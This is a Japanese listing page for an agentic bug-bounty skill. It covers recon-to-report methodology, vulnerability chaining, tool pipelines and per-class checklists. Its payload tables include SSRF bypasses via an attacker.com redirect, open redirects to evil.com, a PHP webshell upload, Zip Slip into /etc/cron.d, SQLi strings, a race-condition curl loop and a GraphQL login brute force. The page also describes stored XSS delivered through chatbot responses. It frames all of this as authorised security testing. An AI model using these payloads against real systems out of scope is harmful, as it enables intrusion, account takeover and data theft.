bug-bounty について
偵察、脆弱性の調査、検証、報告を扱うバグバウンティのワークフロースキルです。対象範囲と現実の影響を確認することを重視し、調査や脆弱性の連鎖を追う方法、ツールの指針を示します。
主な機能
- 01偵察から報告までの調査手順
- 02対象範囲と実際の影響の確認
- 037つの質問による発見の選別
- 04関連する脆弱性連鎖の調査方法
- 05一般的なテスト作業向けツール案内
活用シーン
- 01範囲を定めたバグバウンティ評価の計画
- 02報告前の疑わしい脆弱性の検証
- 03発見を確認した後の関連エンドポイント調査
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ awarexone/ agentic-bug-hunter --skill bug-bountyインストール後、Claude Code で/bug-bountyを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
.gitignoreADOPTERS.mdAGENTS.mdFAQ.mdLICENSECLAUDE.mdCHANGELOG.mdOPENCODE.mdMANIFEST.inREADME.mdTERMS.md.claude-plugin/plugin.json.claude/settings.json.github/FUNDING.ymlCONTRIBUTING.mdCODE_OF_CONDUCT.mdSECURITY.mdPULL_REQUEST_TEMPLATE.md.github/ISSUE_TEMPLATE/feature_request.mdfalse_positive.mdbug_report.md.github/workflows/tests.ymlbughunter/agent.py__init__.py__main__.pybughunter/agents/README.mdcredential-hunter.mdchain-builder.mdautopilot.mdrecon-ranker.md詳細
バグバウンティのマスターワークフロー
完全なパイプライン:偵察 -> 学習 -> ハンティング -> 検証 -> 報告。すべてを網羅する1つのスキルです。
本当に重要な唯一の質問
「攻撃者は、特別な行動を何もしていない実際のユーザーに対して、今すぐこれを実行できるのか? そして、実害(金銭の窃取、PII の漏えい、アカウント乗っ取り、コード実行)は発生するのか?」
答えが NO なら、そこで止めてください。書かないでください。これ以上調査せず、次に進んでください。
理論上のバグ = 時間の無駄。次のものはすぐに切り捨ててください:
| パターン | 切り捨てる理由 |
|---|---|
| 「理論上は可能性がある……」 | 悪用できないならバグではありません |
| 「X、Y、Z の条件がそろえば攻撃者が……できる」 | 前提条件が多すぎます |
| 「実装は間違っているが、実用上の影響はない」 | 間違っていても無害ならバグではありません |
| バグを含むデッドコード | 到達不能ならバグではありません |
| シークレットを含まないソースマップ | 影響はありません |
| DNS コールバックのみの SSRF | データの持ち出しか内部アクセスが必要です |
| オープンリダイレクトのみ | ATO または OAuth チェーンが必要です |
| 「チェーンの一部として使える可能性がある……」 | まずチェーンを構築してから報告してください |
実際の被害を実証する必要があります。「可能性がある」だけではバグではありません。動作を証明するか、報告を見送ってください。
重要なルール
- 最初に対象範囲をすべて読む -- すべてのアセット/ドメインが対象組織の所有物であることを確認する
- 理論上のバグは禁止 -- 「攻撃者は今すぐ資金を盗む、PII を漏えいさせる、アカウントを乗っ取る、またはコードを実行できるか?」できないなら、そこで止める
- 弱い発見事項はすぐに切り捨てる -- レポートを書く前に7つの質問ゲートを実施する
- 書く前に検証する -- まず CHANGELOG、設計ドキュメント、デプロイスクリプトを確認する
- 一度に扱うバグクラスは1つ -- 深く掘り下げ、手当たり次第に探さない
- データがすでに公開されていないか確認する -- API の「漏えい」を報告する前に、シークレットウィンドウでウェブ UI を確認する
- 5分ルール -- 5分間プローブしても対象に変化が見られない(すべて401/403/404)なら、次に進む
- 影響を優先したハンティング -- 「認証が破られた場合、最悪何が起きるか?」と考える。価値のあるものがなければ、その対象はスキップする
- 認証情報の漏えいには悪用の証拠が必要 -- キーを見つけただけでは不十分で、何にアクセスできるかを証明する必要がある
- 浅い偵察のループを止める -- 403をプローブしない、分析用キーを grep しない、何にもつながらないステージングドメインを調べない
- 脆弱性クラスよりビジネスへの影響を重視する -- 深刻度は脆弱性の種類だけでなく、状況によって決まる
- 対象を深く理解する -- ハンティングを始める前に、実際のユーザーのようにアプリを理解する
- 自動化に頼りすぎない -- 自動スキャンは WAF に阻止され、レート制限を発動させ、他の人がすでに見つけた同じバグを検出する
- 競争の少ない脆弱性クラスを狙う -- XSS/SSRF/XXE は競争が最も激しい。キャッシュポイズニング、Android/モバイルの脆弱性、ビジネスロジック、競合状態、OAuth/OIDC チェーン、CI/CD パイプライン攻撃にも範囲を広げる
- 1時間ルール -- 1つの対象に1時間取り組んでも進展がない場合は、コンテキストを切り替える
- 二つの視点で取り組む -- 系統的なテスト(チェックリスト)と異常検知(予期しない動作に注目する)を組み合わせる
- T字型の知識を身につける -- 1つの分野を深く掘り下げ、他のすべての分野に広く精通する
ハンティング手法の全容 — 5段階の非線形ワークフロー、開発者心理のフレームワーク、セッション規律、フェーズごとのツール選択、Wide/Deep のルート選択については、
skills/bb-methodology/SKILL.mdを参照してください。
A->B バグシグナル手法(クラスター・ハンティング)
バグAを見つけたら、その近くにあるBやCを系統的に探してください。 これはバグバウンティで最も強力な手法の一つです。単独のバグでも報奨金は得られますが、チェーンにすれば3~10倍の報奨金になります。
既知の A→B→C チェーン
| バグ A(シグナル) | バグ B の調査対象 | C へのエスカレーション |
|---|---|---|
| IDOR(読み取り) | 同じエンドポイントでの PUT/DELETE | アカウントデータの完全な操作 |
| SSRF(全般) | クラウドメタデータ 169.254.169.254 | IAM 認証情報の窃取 → RCE |
| XSS(保存型) | セッション Cookie に HttpOnly が設定されているか確認 | セッションハイジャック → ATO |
| オープンリダイレクト | OAuth の redirect_uri が自分のドメインを受け入れるか | 認証コードの窃取 → ATO |
| S3 バケットの一覧表示 | JS バンドルを列挙 | OAuth client_secret を Grep → OAuth チェーン |
| レート制限の回避 | OTP のブルートフォース | アカウント乗っ取り |
| GraphQL イントロスペクション | フィールドレベルの認可不足 | PII の大量窃取 |
| デバッグエンドポイント | 漏洩した環境変数 | クラウド認証情報 → インフラへのアクセス |
| CORS がオリジンを反映 | credentials: include を使ってテスト | 認証情報を使ったデータ窃取 |
| Host ヘッダーインジェクション | パスワードリセットのポイズニング | リセットリンク経由の ATO |
クラスター調査プロトコル(6 ステップ)
1. CONFIRM A Verify bug A is real with an HTTP request
2. MAP SIBLINGS Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN If sibling has different bug class, try combining A + B
5. QUANTIFY "Affects N users" / "exposes $X value" / "N records"
6. REPORT One report per chain (not per bug). Chains pay more.
実例
Coinbase の S3→Bundle→Secret→OAuth チェーン:
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain
Vienna チャットボットのチェーン:
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact
トップ 1% のハッカーのマインドセット
エリートハッカーの思考法
平均的なハンター:ツールを実行し、チェックリストを確認し、30 分後に諦めます。 トップ 1%:アプリの内部構造についてメンタルモデルを構築します。「この仕組みはなぜこうなっているのか?」と問いかけます。「このエンドポイントは何をするのか?」ではなく、「開発者はどのようなビジネス上の判断からこのように構築したのか、そしてどんな近道を選んだ可能性があるのか?」と考えます。
調査前の思考フレームワーク
ステップ 1:最重要資産を考える
何かに触れる前に、こう問いかけます。「自分が攻撃者で、このアプリに対して何か 1 つできるとしたら、最も大きな被害をもたらすのは何か?」
- 金融アプリ → 資金を引き出し、攻撃者のアカウントに送金する
- 医療 → PII の漏洩、HIPAA 違反
- SaaS → テナント間でのデータ流出、管理者の乗っ取り
- 認証プロバイダー → SSO チェーン全体の侵害
ステップ 2:開発者の立場で考える
機能を構築した開発者のように考えます。
- 最もシンプルな実装は何か?
- 午前 2 時に疲れた開発者なら、どんな近道を選ぶか?
- 認証はどこで確認されているか――コントローラーか、ミドルウェアか、DB レイヤーか?
- エンドポイント A を経由せずにエンドポイント B を呼び出すと、何が起きるか?
ステップ 3:信頼境界のマッピング
Client -> CDN -> Load Balancer -> App Server -> Database
^ ^ ^
Where does app STOP trusting input?
Where does it ASSUME input is already validated?
ステップ 4:機能間の相互作用を考える
- この新機能は既存の認証を再利用しているか、それとも独自の認証を持つか?
- モバイル API はウェブアプリと認証ロジックを共有しているか?
- この機能は同じチームが開発したのか、それともサードパーティーが開発したのか?
トップ 1% のためのメンタルチェックリスト
- アプリの中核となるビジネスモデルを把握している
- 実際のユーザーとしてアプリを 15 分以上使った
- 技術スタック(言語、フレームワーク、認証システム、キャッシュ)を把握している
- このプログラムについて公開済みのレポートを少なくとも 3 件読んだ
- テストアカウントを 2 つ用意した(攻撃者 + 被害者)
- 今日調査する最重要資産を 1 つ、主なターゲットとして定めた
トップハンターのマインドセットルール
「エンドポイントではなく機能を調査する」 -- ある機能を提供するすべてのエンドポイントを見つけ、それらの相互作用をテストします。
「認可の不整合は味方」 -- アプリが 9 か所で認証を確認し、10 か所目で確認していなければ、そこがバグです。
「新しい機能 = 未レビュー」 -- 過去 30 日以内に公開された機能は、セキュリティ成熟度が最も低いものです。
「二次的な影響を考える」 -- 二次的な SSRF:URL が DB に保存され、cron ジョブによって取得されます。二次的な XSS:安全な状態で保存され、管理パネルで安全でない方法で表示されます。
「金の流れを追う」 -- 決済、請求、クレジット、返金に関わる機能では、開発者が最も多くセキュリティ上の近道を選びます。
「モバイルアプリが使う API」 -- モバイルアプリは、古い API バージョンや異なる API バージョンを呼び出すことがよくあります。同じ会社でも攻撃対象領域は異なり、セキュリティ成熟度は低い場合があります。
「差分からバグを見つける」 -- 古い API ドキュメントと新しい API ドキュメントを比較します。モバイル API とウェブ API を比較します。無料ユーザーが要求できる内容と、有料ユーザーへの応答内容を比較します。
ツール
Go バイナリ
| ツール | 用途 |
|---|---|
| subfinder | パッシブなサブドメイン列挙 |
| httpx | 稼働中のホストを調査 |
| dnsx | DNS 解決 |
| nuclei | テンプレートスキャナー |
| katana | クロール |
| waybackurls | アーカイブ URL |
| gau | 既知の URL |
| dalfox | XSS スキャナー |
| ffuf | ファザー |
| anew | 重複を除いて追記 |
| qsreplace | パラメーター値を置換 |
| assetfinder | サブドメイン列挙 |
| gf | Grep パターン(xss、sqli、ssrf、redirect) |
| interactsh-client | OOB コールバック |
必要に応じてインストールするツール
| ツール | 用途 | インストール |
|---|---|---|
| arjun | 隠しパラメーターの検出 | pip3 install arjun |
| paramspider | URL パラメーターの収集 | pip3 install paramspider |
| kiterunner | API エンドポイントのブルートフォース | go install github.com/assetnote/kiterunner/cmd/kr@latest |
| cloudenum | クラウドアセットの列挙 | pip3 install cloud_enum |
| trufflehog | シークレットのスキャン | brew install trufflehog |
| gitleaks | シークレットのスキャン | brew install gitleaks |
| XSStrike | 高度な XSS スキャナー | pip3 install xsstrike |
| SecretFinder | JS シークレットの抽出 | pip3 install secretfinder |
| sqlmap | SQL インジェクション | pip3 install sqlmap |
| subzy | サブドメイン乗っ取り | go install github.com/LukaSikic/subzy@latest |
静的解析(Semgrep による簡易監査)
# Install: pip3 install semgrep
# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./
# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./
# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./
# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
FFUF の高度なテクニック
# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac
# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac
# Filter strategies:
# -fc 404,403 Filter status codes
# -fs 1234 Filter by response size
# -fw 50 Filter by word count
# -fr "not found" Filter regex in response body
# -rate 5 -t 10 Rate limit + fewer threads for stealth
# -e .php,.bak,.old Add extensions
# -o results.json Save output
AI 支援ツール
- strix (usestrix.com) -- 初期スイープを自動化するオープンソースの AI スキャナー
フェーズ 1:偵察
標準的な偵察パイプライン
# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt
# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt
# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file
# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3
クラウドアセットの列挙
# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
[ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done
API エンドポイントの検出
# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
HackerOne スコープの取得
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
| jq '.data.team.policy_scopes.edges[].node'
クイックウィンのチェックリスト
- サブドメインの乗っ取り(
subjack、subzy) -
.gitの公開(/.git/config) - env ファイルの公開(
/.env、/.env.local) - 管理パネルのデフォルト認証情報
- JS シークレット(SecretFinder、jsluice)
- オープンリダイレクト(
?redirect=、?next=、?url=) - CORS の設定不備(
Origin: https://evil.comと認証情報を使ってテスト) - S3/クラウドバケット
- GraphQL イントロスペクションが有効
- Spring Actuator(
/actuator/env、/actuator/heapdump) - Firebase の読み取りが公開(
https://TARGET.firebaseio.com/.json)
技術のフィンガープリンティング
| シグナル | 技術 |
|---|---|
Cookie:XSRF-TOKEN + *_session | Laravel |
Cookie:PHPSESSID | PHP |
ヘッダー:X-Powered-By: Express | Node.js/Express |
レスポンス:wp-json/wp-content | WordPress |
レスポンス:{"errors":[{"message": | GraphQL |
ヘッダー:X-Powered-By: Next.js | Next.js |
フレームワーク別クイックウィン
Laravel:/horizon、/telescope、/.env、/storage/logs/laravel.log
WordPress:/wp-json/wp/v2/users、/xmlrpc.php、/?author=1
Node.js:/.env、/graphql(イントロスペクション)、/_debug
AWS Cognito:/oauth2/userInfo(Pool ID が漏えい)、CORS が任意のオリジンを反映
ソースコードの偵察
# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20
# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"
# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."
# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"
言語別 Grep パターン
# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules
# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"
# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"
# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"
# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"
# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"
フェーズ 2:学習(ハント前の情報収集)
公開済みレポートを読む
# By program on HackerOne
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
| jq '.data.hacktivity_items.nodes[].report'
「変更点」メソッド
- 類似技術についての公開済みレポートを探す
- 修正コミットを取得する
- 差分を読み、アンチパターンを特定する
- 対象を検索し、同じアンチパターンを探す
脅威モデルのテンプレート
TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
[ ] Unauthenticated: login, register, password reset, public APIs
[ ] Authenticated: all user-facing endpoints, file uploads, API calls
[ ] Cross-tenant: org/team/workspace ID parameters
[ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
1.___ 2.___ 3.___
トップレポートから得られた 6 つの重要パターン
- 機能の複雑さ = バグの攻撃対象領域 -- インポート、統合、マルチテナンシー、複数ステップのワークフロー
- 開発者間の実装の不統一 = 最も強い証拠 -- ある箇所では
timingSafeEqual、別の箇所では=== - 「else 分岐」のバグ -- プロキシ/ゲートウェイの else パスで、検証せずに未加工のトークンを渡す
- インポート/エクスポート = SSRF -- 「URL からインポート」する機能には、過去に例外なく SSRF が存在
- 二次/レガシーエンドポイント = 認証なし --
/api/v1/は保護されているが、/api/は保護されていない - 金融処理における競合ウィンドウ -- 確認と減算を 2 つの DB 操作で行うと、二重支払いが発生する
フェーズ 3:ハント
メモシステム(これなしでハントしないこと)
# TARGET: company.com -- SESSION 1
## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers
## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint
## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write
サブドメインの種類 → 探索戦略
- dev/staging/test:デバッグ用エンドポイント、無効化された認証、詳細なエラーメッセージ
- admin/internal:デフォルトの認証情報、IP バイパスヘッダー(
X-Forwarded-For: 127.0.0.1) - api/api-v2:kiterunner で列挙し、保護されていない古いバージョンを確認
- auth/sso:OAuth の設定不備、
redirect_uriのオープンリダイレクト - upload/cdn:CORS、パストラバーサル、格納型 XSS
CVE を起点とする監査アプローチ
- CVE 評価セットを構築する -- 対象のコードベースについて過去の CVE を 5~10 件収集します
- 古いバグを再現する -- 古いコードにそのパターンがあることを見つけられるか確認します
- パターンを現在のコードに照合する -- 現在のコードで同じアンチパターンを検索します
- 攻撃対象領域の広い箇所に集中する -- JS エンジン、パーサーなど、信頼できない外部入力を処理するもの
Rust/ブロックチェーンのソースコード(苦労して得た教訓)
パニックが起きる経路:エンコードとデコード -- エンコード経路での .unwrap() は攻撃者が引き起こすことはできません。悪用可能なのは、ネットワーク入力のデシリアライズ/デコード時に発生するパニックだけです。
「認識済みの TODO」は緩和策ではありません -- // Votes are not signed for now のようなコメントがあっても、安全とは限りません。
確認済みの脆弱性を起点にしたパターンベースの探索 -- verify_signed_vote に問題がある場合は、verify_signed_proposal と verify_commit_signature も確認してください。
# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"
脆弱性探索チェックリスト
IDOR -- 安全でない直接オブジェクト参照
報奨金が支払われる Web2 脆弱性クラスで最も多く、報奨金が支払われたすべての報告の 30%を占めます。
IDOR の種類(10 通りのテスト方法)
| 種類 | テスト内容 |
|---|---|
| V1:直接指定 | URL パスのオブジェクト ID を変更する /api/users/123 -> /api/users/456 |
| V2:本文パラメーター | POST/PUT の JSON 本文の ID を変更する {"user_id": 456} |
| V3:GraphQL ノード | { node(id: "base64(OtherType:123)") { ... } } |
| V4:一括/バルク | /api/users?ids=1,2,3,4,5 -- 複数の ID を一度にリクエストします |
| V5:ネスト | 親 ID を変更する:/orgs/{org_id}/users/{user_id} |
| V6:ファイルパス | /files/download?path=../other-user/file.pdf |
| V7:予測可能な ID | 連番の整数、タイムスタンプ、短い UUID |
| V8:メソッドの切り替え | GET が 403 を返す場合、同じエンドポイントで PUT/PATCH/DELETE を試します |
| V9:バージョンのロールバック | v2 がブロックされている場合、同じエンドポイントで /api/v1/ を試します |
| V10:ヘッダーの注入 | X-User-ID: victim_id、X-Org-ID: victim_org |
IDOR テストチェックリスト
- 2 つのアカウントを作成する(A = 攻撃者、B = 被害者)
- A としてログインし、すべての操作を実行して、リクエスト内の ID をすべて記録する
- B としてログインし、B の認証情報を使って A のリクエストを A の ID のまま再送信する
- ID を入れ替えて、すべてのエンドポイントを試す -- GET だけでなく、PUT/DELETE/PATCH も試す
- API v1/v2 の違いを確認する
- GraphQL スキーマで node() クエリを確認する
- WebSocket メッセージでクライアントから渡される ID を確認する
- 一括エンドポイントをテストする(複数の ID をリクエストできるか)
- 想定外のパラメーターを追加して試す:
?user_id=other_user
IDOR の連鎖(より高額な報奨金)
- IDOR + PII の読み取り = 中
- IDOR + 書き込み(他人のデータを変更) = 高
- IDOR + 管理者エンドポイント = 重大(権限昇格)
- IDOR + アカウント乗っ取りにつながる経路 = 重大
- IDOR + チャットボット(LLM が他のユーザーのデータを読み取る) = 高
SSRF -- サーバーサイドリクエストフォージェリ
- クラウドメタデータを試す:
http://169.254.169.254/latest/meta-data/ - 内部サービスを試す:
http://127.0.0.1:6379/(Redis)、:9200(Elasticsearch)、:27017(MongoDB) - すべての IP バイパス手法をテストする(下の表を参照)
- プロトコルのバイパスをテストする:
file://、dict://、gopher:// - 次の箇所を調べる:Webhook URL、URL からのインポート、プロフィール画像の URL、PDF 生成ツール、XML パーサー
SSRF IP バイパステーブル(11 の手法)
| バイパス | ペイロード | 備考 |
|---|---|---|
| 10 進数 IP | http://2130706433/ | 127.0.0.1 を単一の 10 進数で表現 |
| 16 進数 IP | http://0x7f000001/ | 16 進数表記 |
| 8 進数 IP | http://0177.0.0.1/ | 8 進数の 0177 = 127 |
| 短縮 IP | http://127.1/ | 省略表記 |
| IPv6 | http://[::1]/ | IPv6 のループバック |
| IPv4 マップド IPv6 | http://[::ffff:127.0.0.1]/ | IPv4 マップド IPv6 |
| リダイレクトチェーン | http://attacker.com/302->http://169.254.169.254 | 各ホップを確認 |
| DNS リバインディング | 127.0.0.1 に解決されるドメインを登録 | 最初の確認では外部、フェッチ時は内部 |
| URL エンコード | http://127.0.0.1%[email protected] | パーサーの解釈の違い |
| 囲み英数字 | http://①②⑦.⓪.⓪.① | Unicode 数字 |
| プロトコルスミuggling | gopher://127.0.0.1:6379/_INFO | Redis などのプロトコル |
SSRF の影響チェーン
- DNS のみ = 情報提供レベル(報告しない)
- 内部サービスにアクセス可能 = 中
- クラウドメタデータを読み取り可能 = 高(キーの露出)
- クラウドメタデータ + キーの持ち出し = 重大(クラウド上でコード実行)
- Docker API にアクセス可能 = 重大(直接的な RCE)
OAuth / OIDC
-
stateパラメーターがない -> CSRF -
redirect_uriがワイルドカードを許可 -> ATO - PKCE がない -> コードの窃取
- インプリシットフロー -> リファラーでのトークン漏えい
- 認証後のリダイレクトにオープンリダイレクトがある -> OAuth トークン窃取チェーン
オープンリダイレクトのバイパステーブル(11 の手法)
オープンリダイレクトを OAuth コードの窃取につなげる際に使用します。
| バイパス | ペイロード | 備考 |
|---|---|---|
| URL の二重エンコード | %252F%252F | 二重デコード後に // に変換 |
| バックスラッシュ | https://target.com\@evil.com | 一部のパーサーは \ を / に正規化 |
| プロトコル省略 | //evil.com | プロトコル相対 URL |
| @ トリック | https://[email protected] | target.com がユーザー名になる |
| プロトコル相対 | ///evil.com | スラッシュ 3 つ |
| タブ/改行の挿入 | //evil%09.com | ホスト名に空白を含める |
| フラグメントトリック | https://evil.com#target.com | フラグメントで検証を誤認させる |
| ヌルバイト | https://evil.com%00target.com | 一部のパーサーはヌルバイトで切り詰める |
| パラメーター汚染 | ?next=target.com&next=evil.com | 最後の値が優先される |
| パスの混同 | /redirect/..%2F..%2Fevil.com | リダイレクトでのパストラバーサル |
| Unicode の正規化 | https://evil.com/target.com | 見た目の混同 |
ファイルアップロード
ファイルアップロードのバイパステーブル
| バイパス | 手法 |
|---|---|
| 二重拡張子 | file.php.jpg, file.php%00.jpg |
| 大文字/小文字の変更 | file.pHp, file.PHP5 |
| 代替拡張子 | .phtml, .phar, .shtml, .inc |
| Content-Type の偽装 | PHP コンテンツに image/jpeg ヘッダーを付与 |
| マジックバイト | GIF89a; <?php system($_GET['c']); ?> |
| .htaccess のアップロード | AddType application/x-httpd-php .jpg |
| SVG XSS | <svg onload=alert(1)> |
| 競合状態 | クリーンアップが実行される前にアップロードして実行 |
| JPEG/PHP ポリグロット | 有効な JPEG であり、同時に有効な PHP でもあるファイル |
| Zip Slip | アーカイブ内のファイル名に ../../etc/cron.d/shell を指定 |
マジックバイトのリファレンス
| 種類 | 16 進数 |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
25 50 44 46 | |
| ZIP/DOCX/XLSX | 50 4B 03 04 |
競合状態
- クーポンコード/プロモーションコード
- ギフトカードの引き換え
- 資金の送金/引き出し
- 投票/評価の制限
- 競合状態を利用した OTP 検証のブルートフォース
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
-H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait
Turbo Intruder -- 単一パケット攻撃(すべてのリクエストを同時に到着させる)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False,
engine=Engine.BURP2)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # all 20 fire in a single TCP packet
def handleResponse(req, interesting):
table.add(req)
ビジネスロジック
- カート内の数量を負の値にする
- 価格パラメーターの改ざん
- ワークフローのスキップ(例:チェックアウトせずに支払う)
- 登録フィールドを使ったロール昇格
- ダウングレード後も特権が維持される
XSS -- クロスサイトスクリプティング
XSS シンク(これらを grep で検索)
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
setInterval(userInput, ...)
new Function(userInput)
// MEDIUM RISK (context-dependent)
element.src = userInput // JavaScript URI possible
element.href = userInput
location.href = userInput
XSS チェーン(Medium から High/Critical にエスカレーション)
- XSS + 機密性の高いページ(銀行、管理者)= High
- XSS + CSRF トークンの窃取 = CSRF バイパス -> Critical な操作
- XSS + サービスワーカー = ページをまたいで持続する XSS
- 偽のログインフォームによる XSS + 認証情報の窃取 = ATO
- チャットボットの応答に含まれる XSS = 保存型 XSS チェーン
SQL インジェクション
検出
# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
# Error-based detection
'; SELECT 1/0-- # divide by zero error reveals SQLi
最新の SQLi WAF バイパス
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1
GraphQL
イントロスペクション(単独では Informational ですが、攻撃対象領域を明らかにします)
{ __schema { types { name fields { name type { name } } } } }
フィールドレベルの認証の欠如
# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
バッチ処理攻撃(レート制限のバイパス)
[
{"query": "{ login(email: \"[email protected]\", password: \"pass1\") }"},
{"query": "{ login(email: \"[email protected]\", password: \"pass2\") }"},
"...100 more..."
]
LLM/AI 機能
